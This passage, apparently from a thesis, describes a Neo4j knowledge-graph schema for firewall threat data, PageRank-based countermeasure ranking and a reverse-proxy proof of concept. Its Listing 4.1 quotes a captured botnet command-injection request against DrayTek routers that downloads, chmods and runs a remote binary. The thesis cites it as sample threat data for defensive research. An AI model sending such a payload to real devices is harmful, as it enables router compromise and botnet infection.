JavaScript execution.

3.1 Firewall Threat Data

The project had access to firewall threat data which was anonymized and used for
preliminary research purposes in the first phase of this project. It does not really
matter what source of threat data that are available for reproduction purposes.
In theory most aspects of the designing a graph schema could be achieved by just
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studying the network communication protocols, but we seek to understand the
threat landscape as well in case this would inflict any choices on our later design.
One of the challenges in this project has been to gather and anonymize the data in
such a way that it could be discussed with peers. The project focused on generic
attacks and threats common to the whole Internet for anonymization reasons,
and not specific or targeted to a specific company or solution. For all practical
purposes this resulted in an imbalance of threat data related to malicious bots
and web crawlers. This is fortunately not seen as a problem at this stage in the
project, since the knowledge graph schema is intended to be the same for all cyber
attacks. The process of the second phase of this project is to create a graph scheme
that will contain the relevant threat information in a graph format. This refers
to determining what information goes into the specific graph nodes and what
relationships are going between the different node types. During the research in
this phase it became apparent that the available threat log and data could be
categorized and looked upon from a network communication perspective as well
from the natural entities defined by Internet protocols and properties defining a
network connection.

3.2 Threat Knowledge Graph

The project will attempt to create a general representation of the firewall threat
data by defining a threat knowledge graph schema. This is also about the trans-
ition from information to intelligence. This project uses a Neo4j graph database
to define the knowledge graph schema and contain the knowledge graph. There
might be many solutions and choices of graph databases, but we landed on the
popular Neo4j [20] in this project. This vendor has a free community version of
their software as well as open source. During our research we sometimes looked
at the source code for graph algorithm implementation for deeper understanding.

Keep in mind that the graph database is at this point of research not only seen
as a place to store threat data but also building a knowledge memory for the de-
cision model in the form of a knowledge graph. Before we could store anything we
needed to find a knowledge graph schema that would contain the most important
aspects of the threat data.

The development of this general cyber threat knowledge graph schema is the
contribution that are applied through out the whole project. The goal is to extend
the graph schema from just containing real-life threat data, to be applicable in a
countermeasure decision system.

3.2.1 Graph Modeling

Initially the research process started with taking all relevant information from
the raw threat data and was determined on how to store it in a graph database.
In our project we also wanted to enrich the knowledge graph with open source
intelligence (OSINT) IP address reputation data [29]. In addition to providing
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a fraud score from zero to hundred on previous known malicious activity, the
OSINT source can also provide other relevant information as IP geolocation data
and references to known anonymization activity (i.e. VPN or Tor) as well as if
the IP address has been used by botnets. This is defined as part of the knowledge
graph schema because it is important for a future implementation of the graph
based decision system.

The Neo4j graph databases use nodes and relationships for storing and ex-
pressing information. Each node can have multiple labels which can be used when
matching and performing actions on the database. The query language used in
Neo4j is called Cypher. For instance if we want to create a node with the label IP
the following Cypher command can be executed.

CREATE (sip:IP {address: "192.168.10.10"}) RETURN sip

The statement named sip is a variable reference which will contain the created
node. The node will in this case be created with a property address which contains
the IP address 192.168.10.10. In the same manner we can create all the nodes and
appropriate labels needed to our research. A simple example of a Session node
might be created as follows.

CREATE (s:Session {session_id: 1000, srcport: 43455, dstport: 443})
RETURN s

In this example we see that the Session node has an unique session identifier
in the form of the property session_id. We also included the TCP destination and
source port in this Session node. This information could also be stored in a rela-
tionship but for our purpose we chose to include this in the Session node. At this
point we have two nodes labeled as IP and Session. If we want to create a relation-
ship between these two nodes, the following command will create a relationship
labeled : SOURCE.

MATCH (sip:IP {address: "192.168.10.10"})
MATCH (s:Session {session_id: 1000})
CREATE (s)-[:SOURCE]->(sip)

RETURN *

The example shows that we first have to retrieve the correct nodes by run-
ning a MATCH. The variables before the label will allow us to CREATE a rela-
tionship between the two nodes. In retrospect, there are necessary considerations
when creating relationships that will be more apparent when performing graph
algorithms.

The graph database can store information both in nodes presented as circles
during this project and relationships presented as arrows between nodes. Even
relationships can contain properties. Each node is labeled with an appropriate
label describing the feature.
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3.2.2 Open Source Intelligence

Real-life open source intelligence (OSINT) will often be used to enrich decisions
and threat assessments. In this project we include the IP address reputation for de-
cisions related to security posture, and escalation to more invasive countermeas-
ures. The term security posture is used in this project as imposing prerequisites
on clients before they are allowed to connect to a given company service. The
following are examples of open source restrictions that can be applied to clients
based on OSINT:

e Country restrictions, i.e. only clients connecting from an source IP address
associated with Norway are allowed to connect to the service.

e Bad reputation score of IP address will block the client connection attempt

e IP addresses associated with malicious activity i.e malware download or
hacker activity is denied access

e Classification of source IP addresses in regard of anonymization services
are also quite often used, i.e. VPN, proxy, Tor, which also can be applied to
stronger security posture

Through the research and work on finding a potential graph database design
we also applied open source intelligence data from ipqualityscore.com [29]. This
site contains information about previous bad history of an IP address in addition to
information on historical knowledge of this IP address being used by VPN, proxy,
Tor etc (see Listing 3.1). For reproduction purposes any source of open source
intelligence reputation can be used. The purpose in this project to exemplify the
data available and how it affects the decision model and quality of such decisions.
One of the reasons we chose to use this source of OSINT in our first phase of
this project was because we could call their API directly from Neo4j and store the
results directly into the database. The Listing 3.1 is an redacted example JSON
result returned from an API call.

There are different motives behind those who scan company services, some
might seem legit for instance for research purposes. Others might seek to capital-
ize on the knowledge of your exposed services either directly or indirectly. Users
with malicious intent can use this information either way. It is also worth noting
that there varies types of reconnaissance, some attempt to reveal services, and
others seek to find vulnerable targets.

Taking the information in Listing 3.1 into consideration can enlighten some
factors that can be applied to an autonomous cyber defense solution.

3.2.3 Graph Algorithms

The developed knowledge graph schema will be evaluated in perspective of per-
forming graph algorithm calculations. This include for instance the creation of
relationships that makes the application of personalised PageRank possible when
the knowledge graph schema is extended with the Countermeasure and Response
nodes.
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"city": "Ann Arbor",
"timezone": "America/Detroit",
"latitude": 42.27,

"active tor": false,

"fraud score": 100,
"recent_abuse": true,

"tor": false,

"host": "scanner-20.chl.censys-scanner.com",
"ASN": 398324,

"longitude": -83.71,

"active vpn": false,
"bot_status": true,

"ISP": "Censys-arin-01",
"mobile": false,

"message": "Success",

"country code": "US",

"proxy": true,

"is crawler": false,

"vpn": true,

"success": true,
"organization": "Censys-arin-01",
"region": "Michigan",

Listing 3.1: OSINT Example

The process of evaluating which graph algorithms that are plausible are based
on the inherit concept that high success ranking is based on number of successes
and their success weight. In our decision model the relationship between a Request
and a Countermeasure node is an indication of measured success performing the
countermeasure on a given client request. Keep in mind that this is a design pro-
cess before actually implementing a future full production decision system.

In addition to the success graph design a requirement for the graph based de-
cision system need to take a selective criteria as input in order to adapt the ranking
of countermeasures based on relevant features in a specific attack as well as client
communication properties that might be relevant to a holistic adversary profiling.
In other terms a graph algorithm decision or ranking should have the feature of
being biased on given node or relationship properties. This is the backdrop for our
methodology in evaluating possible graph algorithms supported by Neo4j. In our
preliminary research we found the personalised PageRank to be a good candidate
due to the support for weight and criteria based bias. Experiments in our project
will determine if the claim of validity in respect to features and our developed
knowledge graph schema is true.

3.3 Synthetic Dataset

In order to validate the developed knowledge graph schema in regard of graph
algorithms (personalised PageRank) calculations, we need a synthetic data-set
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based on our graph schema. The calculations will show if we unintentionally reach
any corner edges or problems with our graph schema. In addition the graph al-
gorithm itself need to support various input criteria and give a relevant output
ranking of countermeasures dependent of those criteria. The reasoning for rank-
ing countermeasures instead of giving the highest ranked is to allow flexibility
in our design to explore several countermeasure options. This would be relev-
ant since we do not claim there is always a silver bullet, and the decision system
should be allowed to explore and learn from experience.

3.3.1 Reputation Data

The open source intelligence (OSINT) on IP reputation is created in the synthetic
data-set in order to show an example of integrating OSINT into the knowledge
graph and making a basis for possible decision making in a future implementa-
tion. When an source IP has never been seen before the OSINT reputation can be
applied in security posture related decisions. For instance, all client IP addresses
with an reputation score higher than 50 could be denied or require additional
validation (i.e. Google’s ReCaptcha) before gaining access to a company services.

Reputation can also be gained from knowledge of previous attacks from a
given client IP address. In the case of malicious attacks in the past, the new cli-
ent requests might be outright denied or redirected to a honeypot service (fake
service). In the hypothetical case the decision system intends to escalate to more
aggressive counterintelligence measures, the accumulated forensic evidence of
previous attacks might support the decision. The reputation information is avail-
able in the knowledge graph but within the scope of this project it is just a matter
of giving a perspective.

The reputation node is part of the knowledge graph schema and it is relevant
to include this in case it has any effects on our graph algorithm calculations as
well.

3.3.2 Synthetic Countermeasure Data

By design only suspicious or malicious activity is stored in the knowledge graph,
because there are no sound reason to perform countermeasures on legitimate
users. In a real-life scenario the request alone could be benign, but when linked
to actual threat alerts it gives more credibility of an actual attack. Likewise could
activity against non-production systems or otherwise unpublished or known pro-
duction system indicate malicious intents. One example is the creation of honey-
pot services or web servers not published in domain name system (DNS) with the
solely purpose of logging general reconnaissance and attacks.

The countermeasure experiments validate the capability to make decisions
based on our knowledge graph schema and which countermeasures is the most
appropriate under a given criteria. This could be as simple or complex as the
implementation requires. Criteria examples could be ranking the most successful
countermeasures based on a attack found in the Request node, or Threat node.
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In future research more advanced options of attacker profiling would be relevant.
In this project we apply an simple example by checking the HTTP User-Agent in
collecting source nodes for the personalised PageRank.

The main goal for our experiments in this project is the validation of the know-
ledge graph schema and determine the validity of personalised PageRank as a
method of ranking plausible countermeasures based on given input criteria and
factors. The data-set is therefore made simple enough to follow the correlation
between the statistics and the calculated ranking by personalised PageRank. At
the same time it is also a representation which enlighten the aspect of future hol-
istic profiling of an adversary.

3.4 Case Study

In order to better understand the challenges of implementing a real-time decision
system we developed a proof of concept solution. One of the success criteria for a
real-time countermeasure system is actual real-time access to client connections
to company services. With this access the decision system can monitor and manip-
ulate existing client connections and indirectly also target the client software. The
real-time access to manipulate live connections is used by the decision system for
applying countermeasures if applicable. The access to the client software is used
for fingerprinting purposes as well as gathering of adversary intelligence. Even if
the proof of concept is focused on web client’s the concept should be transferable
to other communication protocols as well.

The implementation use an advanced reverse proxy system called F5 Big-IP
The implementation use a iRuleLX functionality [30]. It operates on function calls
from a iRule to a Node.js back-end. The Node.js back-end will handle all the Neo4j
database operations, and create a knowledge graph based on previous described
knowledge graph schema.

The reverse proxy operates as a man-in-the-middle between the client and a
web service. This implies that there are actually two connections that are trans-
parent to the user. The first connection is between the client and the reverse proxy,
and the second is the connection between the reverse proxy and the web service.
The client will connect to a virtual server address that is related to each of the
service definitions in the F5 reverse proxy. The reverse proxy can control the end-
to-end communication between the client and the web service through an event
based TCL [31] scripting language [32] that can transparently forward commu-
nication between the client-side and server-side connection. This gives us the re-
quired real-time control over active sessions that are necessary for our decision
system. The Figure 3.2 show the communication paths between the client and the
web service, and how the reverse proxy operates as a man-in-the-middle while
calling functions in the Node.js back-end that have access to the Neo4j database.
The solid lines represent a typical production implementation, while the dotted
lines represent our contribution in our proof of concept implementation. In a pro-
duction environment the client traffic will typically be transparently forwarded
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to the service side based on for instance qualified domain name (FQDN), after
optional authentication requirements.

Web
Client

< > F5 iRule >

$
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Figure 3.2: F5 Big-IP Reverse Proxy Overview

The following F5 Big-IP iRule events are used:

CLIENT ACCEPTED [33]
HTTP_REQUEST [34]
HTTP_REQUEST DATA [35]
HTTP_RESPONSE [36]

Each of these iRule events and the corresponding function in the Node.js back-
end is explained in further detail in their own subsections starting with 4.4.1.

The Neo4j graph schema in this proof of concept is shown in Figure 3.3. Com-
pared to our previous knowledge graph schema we have in this proof of concept
not connected HTTP requests and countermeasures at this point, only a stand-
alone countermeasure node example. In addition we added a destination rela-
tionship to the IP nodes that represent the virtual server address used by the
F5 reverse proxy. In our implementation it makes sense to distinguish between
source and destination IP addresses for distinguishing between production and
non-production (or fake/honeypot) services. Clients attempting to connect to IP
addresses not connected to a production service will land on a web service cre-
ated to perform device tracking of malicious activity [37] and the gathered data
is stored in a Fingerprint node.

In our implementation the configured a web service only serving a JavaScript
based fingerprinting [37] implementation that have the potential to track mali-
cious devices beyond the source IP address. The same fingerprinting or device
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Figure 3.3: Proof of Concept Graph Schema

tracking JavaScript was used as a response for every client requested a resource
not existing on the web server (status code 404). This feature is not fully de-
veloped in our proof of concept and there are design considerations that should
be taken in further development of this system. For one the relationship with the
Fingerprint node could also be linked to the Session node that actually generated
the fingerprint. Another aspect of the fingerprint process is the gathering of poten-
tial intelligence that could also be stored in an Intelligence node. An implementa-
tion should also consider the correlation of known and unknown intelligence of a
given adversary, which is outside the scope of this project.

In summary our methodology in our proof of concept case study is to show
that revere proxies are one valid option for real-time client connection monitoring
and manipulation. In addition that our knowledge graph schema is valid in a
real-life implementation. In addition we seek to determine that applying simple
forms of counterintelligence measures are valid and can be further researched
and developed into this knowledge graph schema. Even if the implementation of
application of countermeasures and monitoring of their success is out of the scope
of this project the topic is discussed on a conceptual level.
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Experiments and Results

4.1 Firewall Threat Data

For our research we had to compile information from multiple logs and sources
in the firewall. This is not a problem since the reasoning behind gathering this
data is only for a research purpose of understanding the raw threat and connec-
tion data in regard of building a graph schema representation. The knowledge
graph schema is then reused with some extensions through the project. In fu-
ture implementation of a graph based decision system based on our case study
proof of concept there might be of interest to integrate into various threat alerts
from existing infrastructure. This will help to determine malicious activity towards
production systems and allow storing of only malicious activity in the knowledge
graph. As mentioned previously the knowledge graph is not indented to keep be-
nign connection data, since we only keep the connection data where applying
countermeasures are relevant. The integration with existing security infrastruc-
ture is outside the scope of this project but it is worth mentioning that trough our
work we see indications that enterprise firewalls is not adapted to real-time threat
exchange.

4.1.1 Gathering Threat Data

Though not a problem for this project, but rather for a future implementation, the
log gathering soon proved challenging. In our access to threat data we found that
the complete threat HTTP headers was only available in network traffic log files
in the pcap format (Wireshark [38]) for each triggered threat alert. In a decision
system for applying the most plausible threat countermeasure (keeping counter-
intelligence in mind) we deduced that the more potentially unique client-side
controlled information available, the better an attacker profile could be built for
relevant countermeasures. In the gathering phase of this project we searched both
traffic, threat and URL logs for relevant information. Even the URL logs fell short
since they did not contain the full HTTP header information and also lacked ar-
guments (HTTP body) related to the HTTP POST method.

29



30 BSE: Intelligence Driven Defense

As an example of threat logs from a specific vendor we chose to reference the
Palo Alto Networks firewall [39], but any vendor reference to typical threat logs
could be used. Note that the actual traffic and threat data is the same for all cases,
but different vendors chose to implement their threat logs differently. Analysing
the fields documented in this case we see that one category of information is more
administrative and specific for this particular firewall vendor. In this case threat
logs are categorized into multiple subtypes. Some examples of these types are as
follows:

URL - URL logs

Scan - scan detection logs

Vulnerability - vulnerability exploit detection logs

Virus - virus detection logs

Wildfire - verdict generated from submits to a malware sandbox for static
and dynamic analysis

In our research we focused on the vulnerability category which contains threats
triggered from incoming attacks in attempt to do vulnerability reconnaissance or
exploitation. The logs also contain numerous of other vendor specific values which
is not relevant for our project. The goal for our project is to analyse as much of the
real traffic as possible, but we still need to put this into a graph design perspective.
After all we need to determine which node labels we needed and what information
would typically belong to which node. Also some information would be natural to
present as relationships between nodes. Looking further on the threat alert docu-
mentation and keeping our knowledge of network protocols in mind the relevant
Internet Protocol (IP) addresses and Transmission Control Protocol (TCP) ports
are natural in defining a client session. Looking at the HTTP protocol [8] there
are many potential and optional information available. In this project we chose to
focus on the real-data first and read the request for comments (RFC) if needed.
The reason for this is that there are no guarantee that malicious activity will fol-
low protocol standards unless they are obliged or motivated to do so. In many
cases it is he lack of compliance that will trigger exploits in the server side imple-
mentation. From the available threat data we studied the relation between HTTP
requests and the specific threat alerts. Every vendor has their implementation of
threat alerts and they may vary even if they are triggering on the same attack. At
this point in our research it was considered that in our decision model it might
not be as important which threat was triggered but that the triggered alert builds
confidence on malicious activity.

After manually gathering session related data from the threat logs, we gathered
HTTP request data from the PCAP network capture for each threat alert entry. A
connection is defined by a source and destination IP address, and a source and
destination TCP port (or User Datagram Protocol port). For web services typical
ports used are port 80 for clear-text HTTP traffic and port 443 for encrypted
HTTP traffic. Each threat log entry also contains an unique session identification
and threat identification. Each log entry has a reference to an unique threat id
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that identifies the signature and detected threat. The threat id would typically
be unique to each firewall or security solution vendor. In a multi-vendor scenario
these would have to be correlated in some way but this is outside the scope of this
project.

In summary we achieved our goals of gathering relevant threat data for further
development of a knowledge graph schema, but real-time integration’s with a
decision system and an enterprise firewall seems at this point immature.

4.1.2 Analysing Threat Data

Previously we gathered all the relevant information for each connection and threat
alert, and used our knowledge within network security to focus on what was the
most relevant information and indications that could be relevant in a threat coun-
termeasure and threat counterintelligence perspective. At this stage we analysed
the data in perspective of creating a knowledge graph schema. From analysing
the information it naturally followed that we needed graph nodes indicating the
IP address, session and HTTP requests, and graph relationships could determine
the source and destination purpose of the individual IP addresses in perspective
of the session nodes. In addition we needed to define some properties that would
contain the relevant data for each node and relationship. Studying the HTTP pro-
tocol documentation [8] further helped to understand the details of the threat
data. It was clear that compliance would vary between the normal web browser
and HTTP communication initiated by bots and vulnerability tools applied by the
hackers. This was easiest to see when looking at the network traffic data in the
PCAP format in Wireshark [38].

The following Listing 4.1 is a HTTP request taken from a threat classified as
Draytek in the firewall threat logs. It is important to keep in mind that threats
are targeting a specific vendor product and requested URL might be unique to a
product, but sometimes there is a framework that is a targeted and the weaponized
request might be targeted on different URLs. For example a vulnerability could be
in a specific script, but also in the script parser or web framework itself. Each
security vendor are prone to naming threats different, but the classification as
malicious is the most important. The threat classification as an information-leak
or a code-execution might also be useful for further development of the decision
system.

From the Listing 4.1 we can see the components that a HTTP request consists
of the method, request, header info and post arguments. In a graph schema this
information would be added as properties to an HTTP Request node. From the re-
search of available firewall data the process of building a knowledge graph schema
can start. We see that the HTTP user-agent can be set to a proprietary value by
the attacker that reflect a botnet or a tool used for vulnerability scanning. In the
Listing 4.1 we see that the HTTP user-agent is set to XTC which is used by a bot-
net. Another example of a typical HTTP header field is Connection, which states
if the connection should be kept alive or not. This is visible when applying threat
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POST /cgi-bin/mainfunction.cgi HTTP/1.1
User-Agent: XTC

Host: 127.0.0.1

Content-Length: 1000

Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

action=1login&keyPath=%27%0A/bin/sh${IFS}-c${IFS} 'wget${IFS}thttp://178.33.64.107/
arm7${IFS}-0${IFS}/tmp/upnp.debug; ${IFS}chmod${IFS}777${IFS}/tmp/upnp.debug;${
IFS}/tmp/upnp.debug'%0A%27&loginUser=a&loginPwd=a

Listing 4.1: Threat Example

data into the graph database, since we would visually see multiple HTTP requests
within the same TCP session. The network communication protocols themselves
defines constraints and factors into the graph model. Though obvious a single ses-
sion is locked to the same Open Systems Interconnection (OSI) model layer 3 and
4 parameters of source and destination IP address as well as source and destina-
tion port. One session can have multiple HTTP requests and responses. The HTTP
body after all HTTP header fields are only applicable when using the POST HTTP
method.

The firewall threat alerts contained unique vendor specific format and data,
but the general concepts are the same. For our research threat data-set we had
threat categories and type specifications. Due to the unknown quality of differ-
ent vendor threat solution this project will assume that relevant information will
be available. This project’s first contribution is to develop a cyber threat know-
ledge graph schema and potential challenges of quality or availability of relevant
information is left for an future implementation project.

During the research on the threat data it was also visible that there were differ-
ent techniques used by botnet’s for distributing the malicious payload. Botnet use
both a central distribution points as well as referring to the attacker source IP ad-
dress. When correlated with attack type and target platform is shows that botnet
seems to attempt keeping a lower profile and avoid issues with central distribu-
tion by letting newly infected and vulnerable targets download malicious payload
from the attacker. In the knowledge graph it is therefore interesting to create a
relationship between attack payload and the download target. This information
can be used for building a holistic profile of the attacker.

In summary we found that our analysis of threat data have potential when
presented in the form of a knowledge graph. The client will during network com-
munication exchange data which could be applied to a holistic profiling of the
adversary and therefore also be applied to our criteria based ranking of plausible
countermeasures.
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4.2 Threat Knowledge Graph

This section will present the knowledge graph schema as a general approach for
storing cyber threat data in a knowledge graph. In this thesis our main focus is
exploring a potential solution for autonomous real-time decisions. The project’s
first contribution is the general threat knowledge graph schema. In order to val-
idate this graph schema for performing personalised PageRank calculations we
created the synthetic data and these experiments. The intentions are also to ex-
plore if personalised PageRank has the validity of ranking countermeasures in
order to recommend plausible countermeasures based on given input paramet-
ers. The knowledge graph schema was extended from the first phase of studying
real-life threat data to a conceptual design for ranking countermeasures.

4.2.1 Real-Life Threat Knowledge Graph

At this stage in the project we have added real-life threat data into the graph data-
base and built a knowledge graph based on information extracted from threat
data and enriched with OSINT IP reputation data. The project refers to the trans-
formation from threat data into a knowledge graph as the process of extracting
intelligence from the available data and create relations that are otherwise not
obvious through raw data analysis. One example is the incorporation of OSINT
in comparison to threat activity, and the other is visualisation of threat activity
patterns through understanding of attacks methodology (i.e. TTP). One example
of the latter is the use of centralised versus decentralised malware download.

During our research of the threat data in the graph database we discovered
connections or methods related to botnet activity. Bot activity would typical use
specific exploits related to IoT or Internet routers. Usually the attack would result
in a download of a malicious program and executed on the device. In some cases
the download would be performed from a centralized infrastructure, but more
cleverly also from original attacker device. This would in all practical purposes by-
pass a potential IP reputation based blocking policy because newly hacked devices
would not instantly be flagged as bad IP addresses. Even not directly related to
the work scope on decision models in this project it is related to profiling attacks
and attackers in respect of making educational decisions on efficient or relevant
countermeasures.

Analysing the threat graph provided the project with an understanding of at-
tacks and plausible countermeasures. The scope of this project is to evaluate the
possibility of a graph based decision model, and a deep dive into possible counter-
measures is not relevant here. In an implementation phase it might still be useful
to understand available threat classification depending on the countermeasure
model researched. For instance one could create multiple countermeasures re-
lated to a specific attack, but unfortunately this would create a high demand for
dynamic updates as new attack vectors are discovered. In a more general approach
the type of attack would be more relevant, for instance classifying code-execution
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versus information leakage and handle this by a general decision model.

When creating a generic cyber threat knowledge graph schema we had to add
a Response node to contain the response to any of the client requests sent to a ser-
vice. In the simplest form form the response could be a HTTP redirect sent by the
reverse proxy or the service in order to ensure the use of an encrypted connection
(https). Another example is the firewall intrusion prevention system sending a TCP
reset connection package to tear down the malicious connection. The normal pro-
cess for benign connections would be the response from the actual service that the
client connects to. In an implementation of this project the decision system would
attempt to apply various countermeasures to malicious connections and the suc-
cesses would be stored in the knowledge graph. In an implemented version the
attempted countermeasure would have to be monitored for success based on re-
sponses by the attackers. For example, if attackers perform reconnaissance for a
specific vulnerability and the decision system respond with the appropriate data
indicating that the service is vulnerable, and attackers attempts to perform code
execution based on this information the countermeasure is successful. It is natur-
ally that this kind of countermeasures would be allowed on IP addresses that are
not part of the production, or minimum lacking the proper fully qualified domain
name (FQDN) reference.

In this project we used the following nodes:

e Reputation - describes OSINT reputation information on an IP address (us-
ing address as key property)

e IP - contains information on a specific IP address (using address as key prop-
erty)

e Session - contains information related to a specific session (using session id
as key property)

e Request - contains information on a specific HTTP request (using session id
as key property)

e Response - contains information on a specific HTTP response (only used in
the synthetic data-set and the case study)

e Threat - contains information on specific threat triggered by the firewall
vendor (using threat id as key property)

e Countermeasure - only used in the synthetic data-set and the case study as
an representation of a successfully applied countermeasure

The Figure 4.1 shows a rudimentary version of nodes and the relationship
used for analysing the threat data. This version of the knowledge graph schema
only contains the nodes and relationships that is relevant to the real-life threat
data.

The real-life threat logs only contained the attacker client HTTP requests and
not the responses by the service or the firewall intrusion prevention system (IPS).
In the further development of the knowledge graph schema would also have to
include HTTP Response and Countermeasures. The graph nodes IP and Session con-
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Figure 4.1: Real-Life Threat Graph Schema

sist of the network layer connection between the client and the company. While
the IP node could contain properties related to information on the IP address, the
Session node would typically contain information related to the network session.
This includes both source and destination ports, IP protocol (TCP/UDP) and relev-
ant timestamps for session creation, duration etc. The Request node is in our case a
HTTP request, but could be any application layer protocol requests to the service.
It is also relevant to actually connect the specific requests to a triggered threat,
since a decision system could rely on this information before triggering a coun-
termeasure. In addition the properties of a threat alert could contain information
relevant for determining the type countermeasure response. One example is the
classification of the attack in regard of information leak or code execution which
is examples of categories used by this particular vendor (Palo Alto Networks).

In a graph database queries are executed by matching node labels,relationships
and properties (Example in Listing 4.2). In machine learning, the model often ob-
scures the original data, and this project applies knowledge graphs in order to
preserve the data and be entirely transparent. This makes it possible to redo cal-
culations on the data at any time using both existing and new graph algorithms.
The graph technology can convert a knowledge graph into graph (node) embed-
ding so traditional machine learning (i.e. deep learning/neural networks) can be
applied as well, but this is not the focus of this project [40]. Node embedding
algorithms compute a low-dimensional vector representation of nodes in a graph.
These vectors are called embeddings, and can be used for machine learning.

MATCH (rep:Reputation)--(sip:IP)--(s:Session)--(req:Request)
WHERE rep.country code = "US" AND NOT req.url = "/"
RETURN rep.country code,sip.address,count(req)

Listing 4.2: Graph Query Example

The project applied all relevant threat data into designing a graph schema and
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knowledge graph containing this information. Much of the foundation of the re-
search is based on previous deep knowledge of network and cyber security. When
the knowledge graph schema was developed it was important for the project to
gather as much knowledge as possible from the raw data. It was important for the
project to gain as much understanding as possible from the threat data and model
them into a higher level of understanding in the knowledge graph represented in
a Neo4j database.

4.2.2 Graph Algorithms

Preliminary research was done on the available graph algorithms in Neo4j. In a
generic approach to a decision system it is naturally to assume that a number of
successful countermeasures is relevant as well as the efficiency (weight) of each
countermeasure. We knew that we needed a recommender system [ 18] and that it
would be beneficial to support weights to allow a countermeasure quality repres-
entation. Graph algorithms in Neo4;j are classified into the following categories:

e Centrality algorithms
Community detection algorithms
Similarity algorithms

Path finding algorithms

Link prediction algorithms

Centrality algorithms attempt to determine the importance of a node in a
graph, which applies well to our goal of finding the most relevant countermeasure
node based on specific criteria. The personalised version of PageRank was the al-
gorithm that matched our needs for a countermeasure decision system. One of the
graph algorithm challenges that could be further researched in a real-life data-set
are the difference between short and long-term goals, and multi-step counter-
measure strategies. The community detection algorithms are used to determine
how nodes are clustered or partitioned together. This category of graph algorithm
would be more relevant for creating a holistic profile of adversaries or find similar-
ities between attack patters. In general both factors could be valid in determining
the local or global optima for countermeasures. The path finding algorithms at-
tempt to find the shortest path between two or more nodes, as well as determine
the availability and quality of a path between them. In respect to the designed
knowledge graph schema and future work there might be applications for this
category of graph algorithm if the graph schema was extended with an Intelli-
gence node to represent gathered information acquired from counterintelligence.
This could potentially add another dimension to the decision system based on the
efficiency of acquired intelligence.

In general we could classify countermeasures into categories of threat specific,
or counterintelligence. Attackers interest can be peaked by sending false inform-
ation on vulnerable systems, which would potential open up for more counterin-
telligence options. The information sent by the attackers are the crucial factor to
both identifying the attack as well as creating a holistic profile on the attacker. The
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criteria in this project for potential decision algorithm was therefore an algorithm
that could take node properties into the calculations. Based on our criteria the
project landed on the centrality algorithm personalised PageRank which allow us
to create a bias towards specific nodes and properties. This is important for mak-
ing knowledge-based decisions based on attacker profile. An holistic approach to
attacker profile might be achieved through the community detection algorithms,
but this is out of the scope of this project.

In order to accommodate the ranking of valid countermeasures we extended
our previous knowledge graph schema used for real-life threats with a Response
node and a Countermeasure node. The Request and Response node is connected
each other through a decision relationship in order to support the PageRank al-
gorithm calculations, but also support a graph database query. In case the coun-
termeasure was applying a response this is indicated by a relationship between
the Countermeasure node and the Response node. We created two relationships
between the Request node and the Countermeasure node in order to indicate that
a specific countermeasure was triggered, and the second to indicate that the coun-
termeasure was successful. The latter also containing a success weight to indicate
to what degree a countermeasure was particular successful. This could for instance
be measured in the time between applying the countermeasure and measuring
success. The directions of the relationships was also adapted to be more friendly
to the personalised PageRank calculations. This is the case for the relationship
between the Threat node and the Request node compared to graph schema used
on the real-life threat data.

In summary we have further strengthened our preliminary choice of apply-
ing the personalised PageRank algorithm to our countermeasure decision system.
In addition we have touched other potential algorithm categories which can be
applied in a further research and development of a graph based decision system.

4.3 Synthetic Dataset

This section will present the personalised PageRank experiments and calculation
results in attempt to validate the developed knowledge graph schema and the per-
sonalised PageRank as a plausible decision system. Our initial motivation was the
properties of personalised PageRank as a recommender system [ 18] with criteria
based bias.

4.3.1 Creating the Dataset

Our contribution of a generic cyber threat knowledge graph schema is now applied
to a synthetic data-set and experiments. In order to create controllable experi-
ments the project created a synthetic data-set structured on the knowledge from
previous threat research in this project. The synthetic threats with countermeas-
ures compiled into a synthetic knowledge graph provide the basis for determining
correlation between specific attacks and predefined countermeasures, as well as
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giving a holistic profile of the attacker which can applied as source biases for the
personalised PageRank algorithm. The conceptual decision system is highly de-
pendent on the knowledge graph schema and the experiments also provide valid-
ation of the graph schema in regard of graph algorithm calculations. This implies
that the construction of the knowledge graph schema becomes relevant in regard
of applied graph algorithm.

Figure 4.2 shows the project’s extended knowledge graph schema for the syn-
thetic data-set and general purpose threat knowledge graphs. This schema is not
the only solution and further research could be done to optimize the graph data-
base schema. The optimized solution might depend on the applied graph algorithm,
but the focus in this project has been the personalised PageRank.

&
&

Response DECISION Request THREAT TRIGGERED_BY

S er scoRe - .
Reputation REP_SCORE SOURCE Session

Figure 4.2: Synthetic Graph DB Schema

The final knowledge graph schema is the same as for the real-life threat graph
schema except the added Countermeasure and Response nodes. The direction of the
relationship between the Threat and Request node is changed in order to better
comply to the personalised PageRank algorithm.

In regard of ranking countermeasures our basic concept is that the number
of successful countermeasures are the main factor, but the success weight on the
countermeasure success relationship is also applied in the calculations. This allows
for more granular calculations between equal number of successful countermeas-
ures.

This research project is attempting to create the foundation for a decision
framework, that can provide real-life data on threat countermeasures. One of the
reasons for calculating a ranking of countermeasures instead of just one is to al-
low some exploration options within the framework. In other words the decision
system could for instance randomize the selected countermeasure when there few
strong candidates. This would also possible solve the challenge to find a local or
global optima.

All the IP addresses used in this synthetic data-set is part of the IP network
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addresses dedicated to internal networks. This is created in such a way so the
reader will not associate threat activity with anything in real-life. In the same
matter we decided to create synthetic threats named as attack number instead
of real-life threat identifiers. The OSINT reputation score has not been applied in
any experiments at this point but are added to show the creation of these values
in the synthetic data-set. The reputation is useful described in regard of security
posture and countermeasure escalations.
The synthetic data-set is designed as follow:

o the data-set contains two hypothetical attacks (Attack 1 and 2)

e the data-set has three hypothetical countermeasures

e the OSINT reputation score per IP address is randomized between O and
100

e each IP address has one connection and a given countermeasure

e the success relationship between the HTTP request node and countermeas-
ure node has random weight values

e each attack has 3 different class C (i.e. 192.168.10.0/24) networks with the
same countermeasure and success weight bias applied

The attacks are just fictional names to represent real-life attacks. I will first go
through the process of creating everything related to attack 1 in the synthetic data-
set. In order to create the whole data-set we first created sessions within a class
C network (Listing 4.3). This includes the nodes Reputation, IE Session, Request
and Response. The first part is to create graph related to countermeasure one.
A loop counting from 1 to n (20 in the example) represent the number of IP
addresses and sessions within this network. For the sake of simplify we created
only one session per IP address. In a real life scenario one IP address can have
multiple sessions as well as multiple HTTP requests within a session. Attackers
will sometimes scan a target for multiple vulnerabilities and therefore trigger a
variation of countermeasures. Only the first of three networks related to the first
countermeasure is shown in Listing 4.3. This process has to be repeated two more
times changing the network address, session number, and these will correspond
to countermeasure two and three.

FOREACH (n in RANGE(1,20,1) |

